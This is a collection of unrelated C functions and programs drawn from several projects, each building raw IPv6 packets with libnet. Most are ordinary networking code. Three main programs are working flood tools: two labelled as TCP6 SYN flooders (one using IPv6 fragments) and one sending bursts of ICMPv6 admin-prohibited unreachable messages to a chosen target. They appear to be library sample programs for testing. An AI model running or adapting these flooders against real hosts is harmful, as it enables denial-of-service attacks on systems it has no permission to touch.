libnet_ptag_t build_pkt (libnet_t * l, u_long * seq, struct libnet_in6_addr src, struct libnet_in6_addr victim) { libnet_ptag_t ip_tag, tcp_tag; ip_tag = tcp_tag = LIBNET_PTAG_INITIALIZER; libnet_seed_prand (l); *seq = (u_long) libnet_get_prand (LIBNET_PRu32); tcp_tag = libnet_build_tcp (0, 0, *seq, libnet_get_prand (LIBNET_PRu32), TH_SYN, libnet_get_prand (LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, 0); ip_tag = libnet_build_ipv6 (0, 0, LIBNET_TCP_H, IPPROTO_TCP, 64, src, victim, NULL, 0, l, 0); return tcp_tag; }
struct packet * sender6_send_icmp(struct sender6 *s, /* {{{ */ struct libnet_in6_addr dst, uint8_t ttl, uint8_t traffic_class, uint32_t flow_label, uint16_t icmpsum, uint16_t icmpid, uint16_t icmpseq, size_t padding) { padding += (padding % 2); size_t cnt = padding/sizeof(uint16_t) + 1; uint16_t *pload = malloc(cnt * sizeof(uint16_t)); if(!pload) logea(__FILE__, __LINE__, NULL); memset(pload, 0, cnt * sizeof(uint16_t)); pload[cnt-1] = sender6_compute_icmp_payload(icmpsum, icmpid, icmpseq); s->icmptag = libnet_build_icmpv6_echo(ICMP6_ECHO, 0, SENDER_AUTO_CHECKSUM, icmpid, icmpseq, (uint8_t *)pload, cnt * sizeof(uint16_t), s->ln, s->icmptag); free(pload); if(s->icmptag == -1) goto out; size_t sz = LIBNET_ICMPV6_ECHO_H + cnt*sizeof(uint16_t); s->iptag = libnet_build_ipv6(traffic_class, flow_label, sz, IPPROTO_ICMP6, ttl, s->ip, dst, NULL, 0, s->ln, s->iptag); if(s->iptag == -1) goto out; if(libnet_write(s->ln) < 0) goto out; struct packet *pkt = sender6_make_packet(s); return pkt; out: loge(LOG_FATAL, __FILE__, __LINE__); logd(LOG_DEBUG, "%s %d %d error: %s\n", __func__, ttl, icmpsum, libnet_geterror(s->ln)); libnet_clear_packet(s->ln); s->icmptag = 0; s->iptag = 0; return NULL; } /* }}} */
static gboolean afinet_dd_construct_ipv6_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line) { libnet_ptag_t ip, udp; struct sockaddr_in *src4; struct sockaddr_in6 src, *dst; struct libnet_in6_addr ln_src, ln_dst; switch (msg->saddr->sa.sa_family) { case AF_INET: src4 = (struct sockaddr_in *) &msg->saddr->sa; memset(&src, 0, sizeof(src)); src.sin6_family = AF_INET6; src.sin6_port = src4->sin_port; ((guint32 *) &src.sin6_addr)[0] = 0; ((guint32 *) &src.sin6_addr)[1] = 0; ((guint32 *) &src.sin6_addr)[2] = htonl(0xffff); ((guint32 *) &src.sin6_addr)[3] = src4->sin_addr.s_addr; break; case AF_INET6: src = *((struct sockaddr_in6 *) &msg->saddr->sa); break; default: g_assert_not_reached(); break; } dst = (struct sockaddr_in6 *) &self->super.dest_addr->sa; libnet_clear_packet(self->lnet_ctx); udp = libnet_build_udp(ntohs(src.sin6_port), ntohs(dst->sin6_port), LIBNET_UDP_H + msg_line->len, 0, (guchar *) msg_line->str, msg_line->len, self->lnet_ctx, 0); if (udp == -1) return FALSE; /* There seems to be a bug in libnet 1.1.2 that is triggered when * checksumming UDP6 packets. This is a workaround below. */ libnet_toggle_checksum(self->lnet_ctx, udp, LIBNET_OFF); memcpy(&ln_src, &src.sin6_addr, sizeof(ln_src)); memcpy(&ln_dst, &dst->sin6_addr, sizeof(ln_dst)); ip = libnet_build_ipv6(0, 0, LIBNET_UDP_H + msg_line->len, IPPROTO_UDP, /* IPv6 next header */ 64, /* hop limit */ ln_src, ln_dst, NULL, 0, /* payload and its length */ self->lnet_ctx, 0); if (ip == -1) return FALSE; return TRUE; }
static int send_fin(struct libsoccr_sk *sk, struct libsoccr_sk_data *data, unsigned data_size, uint8_t flags) { int ret, exit_code = -1; char errbuf[LIBNET_ERRBUF_SIZE]; int mark = SOCCR_MARK;; int libnet_type; libnet_t *l; if (sk->dst_addr->sa.sa_family == AF_INET6) libnet_type = LIBNET_RAW6; else libnet_type = LIBNET_RAW4; l = libnet_init( libnet_type, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { loge("libnet_init failed (%s)\n", errbuf); return -1; } if (setsockopt(l->fd, SOL_SOCKET, SO_MARK, &mark, sizeof(mark))) { logerr("Can't set SO_MARK (%d) for socket\n", mark); goto err; } ret = libnet_build_tcp( ntohs(sk->dst_addr->v4.sin_port), /* source port */ ntohs(sk->src_addr->v4.sin_port), /* destination port */ data->inq_seq, /* sequence number */ data->outq_seq - data->outq_len, /* acknowledgement num */ flags, /* control flags */ data->rcv_wnd, /* window size */ 0, /* checksum */ 10, /* urgent pointer */ LIBNET_TCP_H + 20, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ret == -1) { loge("Can't build TCP header: %s\n", libnet_geterror(l)); goto err; } if (sk->dst_addr->sa.sa_family == AF_INET6) { struct libnet_in6_addr src, dst; memcpy(&dst, &sk->dst_addr->v6.sin6_addr, sizeof(dst)); memcpy(&src, &sk->src_addr->v6.sin6_addr, sizeof(src)); ret = libnet_build_ipv6( 0, 0, LIBNET_TCP_H, /* length */ IPPROTO_TCP, /* protocol */ 64, /* hop limit */ dst, /* source IP */ src, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ } else if (sk->dst_addr->sa.sa_family == AF_INET) ret = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H + 20, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ sk->dst_addr->v4.sin_addr.s_addr, /* source IP */ sk->src_addr->v4.sin_addr.s_addr, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ else { loge("Unknown socket family\n"); goto err; } if (ret == -1) { loge("Can't build IP header: %s\n", libnet_geterror(l)); goto err; } ret = libnet_write(l); if (ret == -1) { loge("Unable to send a fin packet: %s\n", libnet_geterror(l)); goto err; } exit_code = 0; err: libnet_destroy(l); return exit_code; }
int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; char srcname[100],dstname[100]; packet_amt = 0; burst_int = 0; burst_amt = 1; printf("libnet 1.1 unreach/admin prohibited request ICMP6[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, 1); if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0) { fprintf(stderr, "Bad IP6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname)); libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname)); for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { uint8_t payload[56]; int i; for (i=0; i<sizeof(payload); i++) payload[i]='A'+(i%26); t = libnet_build_icmpv6_unreach ( ICMP6_UNREACH, /* type */ ICMP6_ADM_PROHIBITED, /* code */ 0, /* checksum */ payload, /* payload */ sizeof(payload), /* payload length */ l, /* libnet context */ t); /* libnet ptag */ if (build_ip) { build_ip = 0; libnet_build_ipv6(0,0, LIBNET_IPV6_H + LIBNET_ICMPV6_H + sizeof(payload), IPPROTO_ICMP6, 64, src_ip, dst_ip, NULL, 0, l, 0); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); }
int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t tcp, ip, ip_frag; u_char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, j, c, packet_amt, burst_int, burst_amt; char srcname[100], dstname[100]; u_int8_t payload[56]; packet_amt = 0; burst_int = 0; burst_amt = 1; tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER; printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n"); l = libnet_init( LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, 1); if (strncmp((char*)&dst_ip, (char*)&in6addr_error,sizeof(in6addr_error))==0) { fprintf(stderr, "Bad IPv6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); /* src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); dst_prt = 113; dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); packet_amt = 1; */ if (!dst_prt || strncmp((char*)&dst_ip, (char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname)); libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname)); for(; burst_amt--;) { for (i = 0; i < packet_amt; i++) { for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26)); tcp = libnet_build_tcp( src_prt = libnet_get_prand(LIBNET_PRu16), dst_prt, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, libnet_get_prand(LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, tcp); if (tcp == -1) { fprintf(stderr, "Can't build or modify TCP header: %s\n", libnet_geterror(l)); return (EXIT_FAILURE); } ip_frag = libnet_build_ipv6_frag( IPPROTO_TCP, /* next header */ 0, /* reserved */ 0, /* frag bits */ 1, /* ip id */ NULL, 0, l, ip_frag); if (ip_frag == -1) { fprintf(stderr, "Can't build or modify TCP header: %s\n", libnet_geterror(l)); return (EXIT_FAILURE); } ip = libnet_build_ipv6( 0, 0, LIBNET_TCP_H, IPPROTO_TCP, 64, src_ip, dst_ip, NULL, 0, l, ip); if (ip == -1) { fprintf(stderr, "Can't build or modify TCP header: %s\n", libnet_geterror(l)); return (EXIT_FAILURE); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); }
int main(int argc, char *argv[]) { libnet_t *l; int r; char *device = "eth0"; struct libnet_ether_addr *mac_address; struct in6_addr src_ip; struct libnet_in6_addr dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t icmp_ptag = 0; libnet_ptag_t ipv6_ptag = 0; char payload[24] = { 0 }; memset(&src_ip, 0x66, sizeof(src_ip)); l = libnet_init( LIBNET_RAW6, device, errbuf); assert(l); mac_address = libnet_get_hwaddr(l); assert(mac_address); dst_ip = libnet_name2addr6(l, "::1" /* BCAST_ADDR - defined where? */, LIBNET_DONT_RESOLVE); memcpy(payload,src_ip.s6_addr,16); payload[16] = 2; /* 2 for Target Link-layer Address */ payload[17] = 1; /* The length of the option */ memcpy(payload+18,mac_address->ether_addr_octet, 6); /* 0x2000: RSO */ icmp_ptag = libnet_build_icmpv4_echo( 136,0,0,0x2000,0, (uint8_t *)payload,sizeof(payload), l, LIBNET_PTAG_INITIALIZER); assert(icmp_ptag); ipv6_ptag = libnet_build_ipv6( 0, 0, LIBNET_ICMPV6_H + sizeof(payload), /* ICMPV6_H == ICMPV4_H, luckily */ IPPROTO_ICMP6, 255, *(struct libnet_in6_addr*)&src_ip, dst_ip, NULL, 0, l, 0); assert(icmp_ptag); print_pblocks(l); { uint8_t* pkt1 = NULL; uint32_t pkt1_sz = 0; r = libnet_pblock_coalesce(l, &pkt1, &pkt1_sz); assert(r >= 0); libnet_diag_dump_hex(pkt1, LIBNET_IPV6_H, 0, stdout); libnet_diag_dump_hex(pkt1+LIBNET_IPV6_H, pkt1_sz-LIBNET_IPV6_H, 0, stdout); free(pkt1); pkt1 = NULL; } r = libnet_write(l); assert(r >= 0); return (EXIT_SUCCESS); }
int main( int argc, char* argv[] ) { int socket; unsigned char data[1280]; int size; libnet_t *libnet_context; char libnet_errmsg_buf[LIBNET_ERRBUF_SIZE]; //socket = sock_afpacket( argv[1] ); socket = sock_udp( argv[2], strtoul(argv[3], NULL, 10 ) ); if ( socket == -1 ) { fprintf(stderr, "socket error\n"); return 1; } // libnetのコンテキスト作成 libnet_context = libnet_init(LIBNET_RAW6_ADV, NULL, libnet_errmsg_buf ); //libnet_context = libnet_init(LIBNET_RAW6_ADV, argv[1], libnet_errmsg_buf ); if ( NULL == libnet_context ) { fprintf(stderr, "%s\n", libnet_errmsg_buf ); close(socket); return 1; } for(;;) { libnet_ptag_t ptag_udp, ptag_ip6; uint8_t *pbuf; uint32_t payload_len; //afpacketからのデータ受信 //size = recv_packet( socket, sizeof(data), data ); //print_ipv6_header( data ); // UDPデータ受信 size = recv( socket, data, sizeof(data), MSG_TRUNC ); printf("data recieve. "); dump_packet( size, data ); putc('\n', stdout); // UDPヘッダ ptag_udp = libnet_build_udp( (uint16_t)(random()%(65535-49152)+49152), // source port(49152 - 65535) 53, // destination port sizeof(header_udp) + size, // length of UDP pakcet 0, // checksum(autofill) data, // payload size, // payload length libnet_context, 0 ); pbuf = libnet_getpbuf( libnet_context, ptag_udp ); payload_len = libnet_getpbuf_size( libnet_context, ptag_udp ); // IPv6ヘッダ ptag_ip6 = libnet_build_ipv6( 0, // Traffic Class 0, // Flow Label //sizeof(header_ipv6) + sizeof(header_udp) + size, // total length of the IP packet sizeof(header_udp) + size, // total length of the IP packet IPPROTO_UDP, // Next header(UDP) 10, // Hop Limit libnet_name2addr6( libnet_context, SRC_IP, LIBNET_DONT_RESOLVE ), // src ip libnet_name2addr6( libnet_context, DST_IP, LIBNET_DONT_RESOLVE ), // dst ip pbuf, // payload payload_len, // Payload Length libnet_context, 0 ); // 送信データ取得 pbuf = libnet_getpbuf( libnet_context, ptag_ip6 ); payload_len = libnet_getpbuf_size( libnet_context, ptag_ip6 ); // チェックサム計算←IPv6は未対応の模様 //libnet_do_checksum( libnet_context, pbuf, IPPROTO_UDP, payload_len ); printf("data sending. "); dump_packet( payload_len, pbuf ); // データ送信 //libnet_write_raw_ipv6( libnet_context, data, size ); libnet_write_raw_ipv6( libnet_context, pbuf, payload_len ); // 作成データ解放 libnet_clear_packet( libnet_context ); } return 0; }
int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; char srcname[100],dstname[100]; packet_amt = 0; burst_int = 0; burst_amt = 1; printf("libnet 1.1 syn flooding: TCP6[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, 1); if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0) { fprintf(stderr, "Bad IP6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE); /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE); dst_prt = 113; dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE); packet_amt = 1;*/ if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname)); libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname)); for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { char payload[56]; int i; for (i=0; i<56; i++) payload[i]='A'+((char)(i%26)); t = libnet_build_tcp( src_prt = libnet_get_prand(LIBNET_PRu16), dst_prt, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, libnet_get_prand(LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, t); if (build_ip) { build_ip = 0; printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload)); libnet_build_ipv6(0,0, LIBNET_TCP_H, IPPROTO_TCP, 64, src_ip, dst_ip, NULL, 0, l, 0); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); }